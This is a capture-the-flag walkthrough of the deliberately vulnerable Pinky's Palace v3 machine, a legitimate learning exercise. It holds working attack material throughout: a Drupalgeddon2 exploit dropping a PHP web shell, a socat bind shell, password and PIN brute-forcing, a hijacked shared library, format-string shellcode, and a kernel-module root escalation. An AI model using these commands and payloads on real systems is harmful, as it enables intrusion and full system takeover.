A rather different one from the usual, as in this writeup I’ll be tackling Pinky’s Palace v3 by @Pink_Panther. This is probably at around the Intermediate/Hard level, and it teaches some very important things about the way in which you approach your enumeration methodology (one which caught me out for a couple of days and required a nudge to move forward).
I haven’t done levels 0-2 but considering the difficulty of some of these challenges, but I imagine they’d be good introductions to some of the concepts here. If you’re stuck on some of the concepts here then check out the previous versions.
Without further ado, let’s put on some tunes and begin!
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 173 May 14 17:37 WELCOME
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:157.203.11.96
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5555/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey:
| 2048 80:52:6e:bd:b0:c4:be:0a:f2:1d:3b:ac:b8:47:4f:ee (RSA)
| 256 eb:c8:76:a4:cf:37:6f:0d:5f:f5:48:af:5c:29:92:d9 (ECDSA)
|_ 256 48:2b:84:02:3e:87:7b:2a:f3:91:11:31:0f:98:11:c7 (ED25519)
8000/tcp open http nginx 1.10.3
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: nginx/1.10.3
|_http-title: PinkDrup
Three interesting ports open. First stop we’ll go for the FTP port.
root@kali:~# pftp 157.203.11.95
Connected to 157.203.11.95.
220 Pinky's FTP
Name (157.203.11.95:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (157,203,11,95,200,14).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 173 May 14 17:37 WELCOME
226 Directory send OK.
ftp> get WELCOME
local: WELCOME remote: WELCOME
227 Entering Passive Mode (157,203,11,95,65,134).
150 Opening BINARY mode data connection for WELCOME (173 bytes).
226 Transfer complete.
173 bytes received in 0.00 secs (1.6499 MB/s)
ftp> exit
221 Goodbye.
root@kali:~# cat WELCOME
Welcome to Pinky's Palace V3
Good Luck ;}
I encourage you to be creative, try and stay away from metasploit and pre-made tools.
You will learn much more this way!
~Pinky
Next stop, let’s check out the HTTP page.
So a basic Drupal installation. If we remember back to February of this year, Drupal had a pretty nasty security bug known as Drupalgeddon 2, which allowed full code execution on almost all Drupal installations. It says it affects versions <7.58, so let’s check CHANGELOG.txt
to see what version this is.
Drupal 7.57, 2018-02-21
-----------------------
- Fixed security issues (multiple vulnerabilities). See SA-CORE-2018-001.
Noice! We’ll use this PoC to get a shell.
root@kali:~/panther/Drupalgeddon2# ruby drupalgeddon2.rb http://192.168.0.74:8000
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://192.168.0.74:8000/
--------------------------------------------------------------------------------
[+] Found : http://192.168.0.74:8000/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.57
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo VKSVGCTH
[+] Result : VKSVGCTH
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://192.168.0.74:8000/s.php' -d 'c=hostname'
pinkys-palace>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
After some basic enumeration, I tried to grab some files from my local box using the shell. For some reason however, I couldn’t get a connection. A quick gander at the firewall rules reveals that outbound connections are blocked.
pinkys-palace>> cat /etc/iptables/rules.v4
# Generated by iptables-save v1.6.0 on Tue May 15 02:46:06 2018
*filter
:INPUT ACCEPT [714:49326]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [442:57902]
-A OUTPUT -o eth0 -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG SYN -m state --state NEW -j DROP
COMMIT
# Completed on Tue May 15 02:46:06 2018
This doesn’t exclude incoming connections however, so we can just create a bind shell. You’ll see netcat is surprisingly missing, but socat’s installed so no worries! The following command creates a bind shell on port 1337:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
We then connect to it with:
root@kali:~/panther# socat FILE:`tty`,raw,echo=0 TCP:192.168.0.74:1337
www-data@pinkys-palace:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Some more enumeration reveals that the internal ports are exposing more than we saw externally. Notably, port 80 and port 65334.
www-data@pinkys-palace:~/html$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:65334 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 854/socat
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 520/nginx: worker p
tcp6 0 0 :::80 :::* LISTEN 520/nginx: worker p
tcp6 0 0 :::5555 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
This can’t be an nginx process, as we control that service, and a quick check of the config excludes it also. However, it looks like apache2 is installed and running. We’ll dump the 000-default.conf
to see what’s exposed.
www-data@pinkys-palace:/etc/apache2/sites-enabled$ cat 000-default.conf
<VirtualHost 127.0.0.1:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin pinkyadmin@localhost
DocumentRoot /home/pinksec/html
<Directory "/home/pinksec/html">
Order allow,deny
Allow from all
Require all granted
</Directory>
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost 127.0.0.1:65334>
DocumentRoot /home/pinksec/database
ServerAdmin pinkyadmin@localhost
<Directory "/home/pinksec/database">
Order allow,deny
Allow from all
Require all granted
</Directory>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
These look like they’re worth an investigation.
For this we’ll just create two socat tunnels which we’ll bind externally. This way we can access the internal ports from our Kali machine.
socat TCP-LISTEN:8080,fork,reuseaddr TCP:127.0.0.1:80
socat TCP-LISTEN:8085,fork,reuseaddr TCP:127.0.0.1:65334
On port 80, we see a login app, with a PIN, which is going to make brute-forcing a bit of a pain.
On port 65334, there’s not much but a notice that a database is ‘Under Development’!
This could be worth an enum as perhaps the administrator has left database files lying around in this webroot. This part truthfully had me stumped for a while, as the standard wordlists yielded nothing. Thankfully I was told that this was the route in. A blind brute-force of every combination of 3-5 characters does yield a result.
root@kali:~/panther# crunch 3 5 -f /usr/share/crunch/charset.lst lalpha -o dbcrunch.txt
Crunch will now generate the following amount of data: 73643440 bytes
70 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 12355928
crunch: 100% completed generating output
root@kali:/usr/share/seclists# gobuster -u http://192.168.0.74:8085 -w /root/panther/dbcrunch.txt -x db
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://192.168.0.74:8085/
[+] Threads : 10
[+] Wordlist : /root/panther/dbcrunch.txt
[+] Status codes : 301,302,307,200,204
[+] Extensions : .db
=====================================================
/pwds.db (Status: 200)
root@kali:/usr/share/seclists# curl http://192.168.0.74:8085/pwds.db
FJ(J#J(R#J
JIOJoiejwo
JF()#)PJWEOFJ
Jewjfwej
jvmr9e
uje9fu
wjffkowko
ewufweju
pinkyspass
consoleadmin
administrator
admin
P1nK135Pass
AaPinkSecaAdmin4467
password4P1nky
Bbpinksecadmin9987
pinkysconsoleadmin
pinksec133754
So we’ve got some passwords, but we don’t just want to brute-force every combinations of usernames, passwords, and PIN’s. That’d take way too long (around 10-12 hours I think was my estimate doing a quick trial run).
We collect a list of usernames from across the exposed web-pages and in the site and just run a quick test with a dummy PIN value. The hope is that some difference in response will be yielded on incorrect PIN but correct credentials.
root@kali:~/panther# cat usernames.txt
pinksec
pinkadmin
pinksecmanagement
pinky
dpink
root@kali:~/panther# wfuzz -c -z file,./usernames.txt -z file,./pwds.db -d 'user=FUZZ&pass=FUZ2Z&pin=12345' --hh 45 http://192.168.0.74:8080/login.php
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
********************************************************
Target: http://192.168.0.74:8080/login.php
Total requests: 90
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000032: C=200 0 L 6 W 41 Ch "pinkadmin - AaPinkSecaAdmin4467"
Total time: 0.399415
Processed Requests: 90
Filtered Requests: 89
Requests/sec.: 225.3289
Lo and Behold, we have credentials! Now we just need to brute-force the PIN.
root@kali:~/panther# crunch 5 5 -f /usr/share/crunch/charset.lst numeric -o pin.txt
Crunch will now generate the following amount of data: 600000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100000
crunch: 100% completed generating output
root@kali:~/panther# wfuzz -c -z file,./pin.txt -d 'user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ' --hh 45,41 http://192.168.0.74:8080/login.php
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
********************************************************
Target: http://192.168.0.74:8080/login.php
Total requests: 100000
==================================================================
ID Response Lines Word Chars Payload
==================================================================
055850: C=302 0 L 0 W 0 Ch "55849"
Total time: 299.6173
Processed Requests: 100000
Filtered Requests: 99999
Requests/sec.: 333.7590
We log in with these three and find a control panel which lets us execute code fully as the pinksec
user.
In this case I just generate an SSH key and write it into the authorized_keys file, allowing me to SSH straight in!
root@kali:~/panther# ssh -p 5555 pinksec@192.168.0.74 -i id_rsa
Linux pinkys-palace 4.9.0-6-686 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
pinksec@pinkys-palace:~$
Enumeration reveals some interesting SUID files. We can run pinksecd
which might allow us to elevate to pinksecmanagement
.
[-] SUID files:
-rwsr-xr-x 1 root root 78340 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 48560 May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 57972 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 39632 May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 163988 Jun 5 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 34920 May 17 2017 /usr/bin/newgrp
-rwsrwx--- 1 pinky pinksecmanagement 7396 May 14 19:06 /usr/local/bin/PSMCCLI
-rwsr-xr-- 1 root messagebus 46436 Mar 2 00:59 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 5480 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 525932 Mar 1 07:17 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 pinksecmanagement pinksecmanagement 7508 May 13 23:10 /home/pinksec/bin/pinksecd
-rwsr-xr-x 1 root root 26504 Mar 7 10:29 /bin/umount
-rwsr-xr-x 1 root root 39144 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 68076 Nov 9 2016 /bin/ping
-rwsr-xr-x 1 root root 38940 Mar 7 10:29 /bin/mount
Running it with some standard inputs doesn’t appear to yield much however.
pinksec@pinkys-palace:/tmp$ /home/pinksec/bin/pinksecd
[+] PinkSec Daemon [+]
Options: -d: daemonize, -h: help
Soon to be host of pinksec web application.
pinksec@pinkys-palace:/tmp$ /home/pinksec/bin/pinksecd -h
[+] PinkSec Daemon [+]
Options: -d: daemonize, -h: help
Flags Added: -h
Soon to be host of pinksec web application.
pinksec@pinkys-palace:/tmp$ /home/pinksec/bin/pinksecd -d
[+] PinkSec Daemon [+]
Options: -d: daemonize, -h: help
Flags Added: -d
Soon to be host of pinksec web application.
Looking at the disassembly reveals that what it’s printing is in fact the result of some functions within the plt, indicating that there’s a shared library actually containing these functions.
pwndbg> disass main
Dump of assembler code for function main:
0x000006d0 <+0>: lea ecx,[esp+0x4]
0x000006d4 <+4>: and esp,0xfffffff0
0x000006d7 <+7>: push DWORD PTR [ecx-0x4]
0x000006da <+10>: push ebp
0x000006db <+11>: mov ebp,esp
0x000006dd <+13>: push esi
0x000006de <+14>: push ebx
0x000006df <+15>: push ecx
0x000006e0 <+16>: sub esp,0xc
0x000006e3 <+19>: call 0x5a0 <__x86.get_pc_thunk.bx>
0x000006e8 <+24>: add ebx,0x1918
0x000006ee <+30>: mov esi,ecx
0x000006f0 <+32>: call 0x500 <psbanner@plt>
0x000006f5 <+37>: call 0x510 <psopt@plt>
0x000006fa <+42>: cmp DWORD PTR [esi],0x2
0x000006fd <+45>: jne 0x713 <main+67>
0x000006ff <+47>: mov eax,DWORD PTR [esi+0x4]
0x00000702 <+50>: add eax,0x4
0x00000705 <+53>: mov eax,DWORD PTR [eax]
0x00000707 <+55>: sub esp,0xc
0x0000070a <+58>: push eax
0x0000070b <+59>: call 0x540 <psoptin@plt>
0x00000710 <+64>: add esp,0x10
0x00000713 <+67>: sub esp,0xc
0x00000716 <+70>: lea eax,[ebx-0x1840]
0x0000071c <+76>: push eax
0x0000071d <+77>: call 0x520 <puts@plt>
0x00000722 <+82>: add esp,0x10
0x00000725 <+85>: mov eax,0x0
0x0000072a <+90>: lea esp,[ebp-0xc]
0x0000072d <+93>: pop ecx
0x0000072e <+94>: pop ebx
0x0000072f <+95>: pop esi
0x00000730 <+96>: pop ebp
0x00000731 <+97>: lea esp,[ecx-0x4]
0x00000734 <+100>: ret
End of assembler dump.
Let’s see what this binary links:
pinksec@pinkys-palace:/tmp$ ldd /home/pinksec/bin/pinksecd
linux-gate.so.1 (0xb7fd9000)
libpinksec.so => /lib/libpinksec.so (0xb7fc8000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e11000)
/lib/ld-linux.so.2 (0xb7fdb000)
/lib/libpinksec.so looks promising! Just to confirm we have the correct library:
pwndbg> info symbol psoptin
psoptin in section .text of /lib/libpinksec.so
If we find the library itself, we see it’s world-writeable, so we can just replace it with a malicious copy and then run the binary to elevate our privileges.
pinksec@pinkys-palace:/tmp$ ls -la /lib/libpinksec.so
-rwxrwxrwx 1 root root 7136 May 14 23:52 /lib/libpinksec.so
I used the following code to export the same functions:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int psbanner()
{
setreuid(1002, 1002);
printf("ID: %d\n", geteuid());
execve("/bin/sh", NULL, NULL);
}
int psopt()
{
setreuid(1002, 1002);
printf("ID: %d\n", geteuid());
execve("/bin/sh", NULL, NULL);
}
int psoptin()
{
setreuid(1002, 1002);
printf("ID: %d\n", geteuid());
execve("/bin/sh", NULL, NULL);
}
Compiled it using the following:
pinksec@pinkys-palace:/tmp$ gcc -c -fpic evillibpinksec.c
pinksec@pinkys-palace:/tmp$ gcc -shared -o evillibpinksec.so evillibpinksec.o
cp ./evillibpinksec.so /lib/libpinksec.so
pinksec@pinkys-palace:/tmp$ /home/pinksec/bin/pinksecd
ID: 1002
$ id
uid=1002(pinksecmanagement) gid=1001(pinksec) groups=1001(pinksec)
Boom! A shell!
root@kali:~/panther# ssh -p 5555 pinksecmanagement@192.168.0.74 -i id_rsa
Linux pinkys-palace 4.9.0-6-686 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
pinksecmanagement@pinkys-palace:~$
Now we have the other SUID file worth investigating as we’re now pinksecmanagement
.
-rwsrwx--- 1 pinky pinksecmanagement 7396 May 14 19:06 /usr/local/bin/PSMCCLI
Fuzzing reveals it echos out our arguments, so a classic format string vulnerability.
pinksecmanagement@pinkys-palace:~$ /usr/local/bin/PSMCCLI
[+] Pink Sec Management Console CLI
pinksecmanagement@pinkys-palace:~$ /usr/local/bin/PSMCCLI 1
[+] Args: 1
pinksecmanagement@pinkys-palace:~$ /usr/local/bin/PSMCCLI %x
[+] Args: bffff744
I’m not going to go into the theory too deeply, but if you’re new to these Code Arcana’s Introduction to format string exploits is probably the best resource.
As a quick aside, I’m not a fan of doing these things blind, as debugging inside and outside GDB is a pain in the arse. All commands as well as debugging therefore, takes place using the invoke script from this stack-overflow answer. In this I will be using a mixture of local disassembly, and debugging remotely using a static gdb binary.
Firstly, the disassembly shows that a functions called argshow
is called within main
.
0x0804852b <+71>: call 0x804849b <argshow>
Disassembly doesn’t show much interesting, it’s the classic format string pwnable.
pwndbg> disass argshow
Dump of assembler code for function argshow:
0x0804849b <+0>: push ebp
0x0804849c <+1>: mov ebp,esp
0x0804849e <+3>: push ebx
0x0804849f <+4>: sub esp,0x4
0x080484a2 <+7>: call 0x80483d0 <__x86.get_pc_thunk.bx>
0x080484a7 <+12>: add ebx,0x1b59
0x080484ad <+18>: sub esp,0xc
0x080484b0 <+21>: lea eax,[ebx-0x1a30]
0x080484b6 <+27>: push eax
0x080484b7 <+28>: call 0x8048340 <printf@plt>
0x080484bc <+33>: add esp,0x10
0x080484bf <+36>: sub esp,0xc
0x080484c2 <+39>: push DWORD PTR [ebp+0x8]
0x080484c5 <+42>: call 0x8048340 <printf@plt>
0x080484ca <+47>: add esp,0x10
0x080484cd <+50>: sub esp,0xc
0x080484d0 <+53>: push 0xa
0x080484d2 <+55>: call 0x8048380 <putchar@plt>
0x080484d7 <+60>: add esp,0x10
0x080484da <+63>: sub esp,0xc
0x080484dd <+66>: push 0x0
0x080484df <+68>: call 0x8048360 <exit@plt>
End of assembler dump.
Running checksec
locally reveals that almost all protections are disabled, so a classic GOT overwrite into shellcode exploit will work!
pwndbg> checksec
[*] '/root/panther/PSMCCLI'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Again, just to reiterate, so I ran all gdb debugging through the above invoke script to keep stack offsets equal.
We’ll use the following template for writing two half-words to a target address. In this case we need to find the offsets at which 0x41414141
and 0x42424242
are displayed. I also included a nopsled which will have shellcode placed on it during the final exploitation, as we want the stack to look as close to the final result as possible. Since the stack grows upwards, this affects offsets.
./invoke /usr/local/bin/PSMCCLI $(python -c 'import sys; sys.stdout.write("AAAABBBB%0000000x%132$0x%0000000x%133$0x"+"\x90"*1000)')
Adjusting the values reveals that they’re at 119 and 120. I decided to overwrite the putchar
GOT entry, as it is called after printf
:
root@kali:~/panther# rabin2 -R PSMCCLI
[Relocations]
vaddr=0x08049ffc paddr=0x00000ffc type=SET_32 __gmon_start__
vaddr=0x0804a00c paddr=0x0000100c type=SET_32 printf
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 puts
vaddr=0x0804a014 paddr=0x00001014 type=SET_32 exit
vaddr=0x0804a018 paddr=0x00001018 type=SET_32 __libc_start_main
vaddr=0x0804a01c paddr=0x0000101c type=SET_32 putchar
6 relocations
This means we’ll be writing to the address 0x0804a01c
. As for what I’m writing there, we’ll need to dump the stack to see.
Creating a breakpoint allows us to view the stack and find the nopsled address. We keep using the invoke script during these so memory offsets are equal. The following are run on the remote machine:
(gdb) break *argshow+55
Breakpoint 1 at 0x80484d2
(gdb) r $(python -c 'import sys; sys.stdout.write("AAAABBBB%0000000x%132$0x%0000000x%133$0x"+"\x90"*1000)')
Starting program: /usr/local/bin/PSMCCLI $(python -c 'import sys; sys.stdout.write("AAAABBBB%0000000x%132$0x%0000000x%133$0x"+"\x90"*1000)')
[+] Args: AAAABBBBbffffaa490909090b7ffed0090909090��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Breakpoint 1, 0x080484d2 in argshow ()
(gdb) x/100gx $esp
0xbffff9c0: 0xbffffaa40000000a 0x080484a7b7ffed00
0xbffff9d0: 0x0000000000000000 0x08048530bffff9f8
0xbffff9e0: 0xbffffaa4bffffb97 0x080484f8bffffab0
0xbffff9f0: 0x00000000bffffa10 0xb7e2f28600000000
0xbffffa00: 0xb7fca00000000002 0xb7e2f28600000000
0xbffffa10: 0xbffffaa400000002 0x00000000bffffab0
0xbffffa20: 0x0000000000000000 0xb7fffc0cb7fca000
0xbffffa30: 0x00000000b7fff000 0xb7fca00000000002
0xbffffa40: 0x670b46a800000000 0x000000005d1beab8
0xbffffa50: 0x0000000000000000 0x080483a000000002
0xbffffa60: 0xb7ff071000000000 0xb7fff000b7e2f199
0xbffffa70: 0x080483a000000002 0x080483c100000000
0xbffffa80: 0x00000002080484e4 0x08048550bffffaa4
0xbffffa90: 0xb7feb070080485b0 0xb7fff920bffffa9c
0xbffffaa0: 0xbffffb8000000002 0x00000000bffffb97
0xbffffab0: 0xbfffffb4bfffffa8 0xbfffffdcbfffffc0
0xbffffac0: 0x0000002000000000 0x00000021b7fd9cd0
0xbffffad0: 0x00000010b7fd9000 0x000000060fabfbff
0xbffffae0: 0x0000001100001000 0x0000000300000064
0xbffffaf0: 0x0000000408048034 0x0000000500000020
0xbffffb00: 0x0000000700000009 0x00000008b7fdb000
0xbffffb10: 0x0000000900000000 0x0000000b080483a0
0xbffffb20: 0x0000000c000003ea 0x0000000d000003ea
0xbffffb30: 0x0000000e000003ea 0x00000017000003ea
0xbffffb40: 0x0000001900000000 0x0000001fbffffb6b
0xbffffb50: 0x0000000fbfffffe5 0x00000000bffffb7b
0xbffffb60: 0x0000000000000000 0xb3e7f8a81b000000
0xbffffb70: 0xa2c230e852ebcc7f 0x00363836696a2918
0xbffffb80: 0x636f6c2f7273752f 0x502f6e69622f6c61
0xbffffb90: 0x4100494c43434d53 0x2542424242414141
0xbffffba0: 0x7830303030303030 0x2578302432333125
0xbffffbb0: 0x7830303030303030 0x9078302433333125
0xbffffbc0: 0x9090909090909090 0x9090909090909090
0xbffffbd0: 0x9090909090909090 0x9090909090909090
0xbffffbe0: 0x9090909090909090 0x9090909090909090
0xbffffbf0: 0x9090909090909090 0x9090909090909090
0xbffffc00: 0x9090909090909090 0x9090909090909090
0xbffffc10: 0x9090909090909090 0x9090909090909090
0xbffffc20: 0x9090909090909090 0x9090909090909090
0xbffffc30: 0x9090909090909090 0x9090909090909090
0xbffffc40: 0x9090909090909090 0x9090909090909090
0xbffffc50: 0x9090909090909090 0x9090909090909090
0xbffffc60: 0x9090909090909090 0x9090909090909090
0xbffffc70: 0x9090909090909090 0x9090909090909090
0xbffffc80: 0x9090909090909090 0x9090909090909090
0xbffffc90: 0x9090909090909090 0x9090909090909090
---Type <return> to continue, or q <return> to quit---
0xbffffca0: 0x9090909090909090 0x9090909090909090
0xbffffcb0: 0x9090909090909090 0x9090909090909090
0xbffffcc0: 0x9090909090909090 0x9090909090909090
0xbffffcd0: 0x9090909090909090 0x9090909090909090
We see that the address of the nopsled within the stack, so honestly, any address within it works fine but I ended up choosing 0xbffffc78
. We write this in two instances to the address 0x0804a01c
which is our putchar
GOT address. Once putchar
is called after printf
, an address to our shellcode will be in the GOT and executed.
./invoke /usr/local/bin/PSMCCLI $(python -c 'import sys; sys.stdout.write("\x1e\xa0\x04\x08\x1c\xa0\x04\x08%0049143x%119$hn%0015481x%120$hn"+"\x90"*961+"\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
I’ve snipped out the printed junk data, but suffice to say we receive a shell!
$ id
uid=1000(pinky) gid=1002(pinksecmanagement) groups=1002(pinksecmanagement)
root@kali:~/panther# ssh -p 5555 pinky@192.168.0.74 -i id_rsa
Linux pinkys-palace 4.9.0-6-686 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 04:32:07 2018 from 172.19.19.251
pinky@pinkys-palace:~$
We’re almost at the finish line! In the pinky
user we find two sudo permissions.
pinky@pinkys-palace:~$ sudo -l
Matching Defaults entries for pinky on pinkys-palace:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pinky may run the following commands on pinkys-palace:
(ALL) NOPASSWD: /sbin/insmod
(ALL) NOPASSWD: /sbin/rmmod
These allow us to add and remove kernel modules, which obviously would give us full control of the kernel. There are a tonne of rootkits out there that would enable you to get full system privileges, but something simple is much nicer. There is a nice rootkit on (Pink Panther’s github)[https://github.com/PinkP4nther/Pinkit], which I shamelessly stole but made a small alteration. Instead of tcp shell, I just made it give SUID permissions to a custom program which spawns /bin/bash
.
chown root:root /tmp/shell; chmod u+s /tmp/shell
We can see the full exploit process here, as the exploit is run at module load time.
pinky@pinkys-palace:~/pinkit$ ls -la /tmp/shell
-rwxr-xr-x 1 pinky pinky 7540 May 28 11:39 /tmp/shell
pinky@pinkys-palace:~/pinkit$ sudo insmod pinkit.ko
pinky@pinkys-palace:~/pinkit$ ls -la /tmp/shell
-rwsr-xr-x 1 root root 7540 May 28 11:39 /tmp/shell
pinky@pinkys-palace:~/pinkit$ /tmp/shell
ID: 0
# id
uid=0(root) gid=1000(pinky) groups=1000(pinky),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
And there we have it!
Many thanks to @Pink_P4nther, a very well designed box.
Written on May 28th, 2018 by Josiah Beverton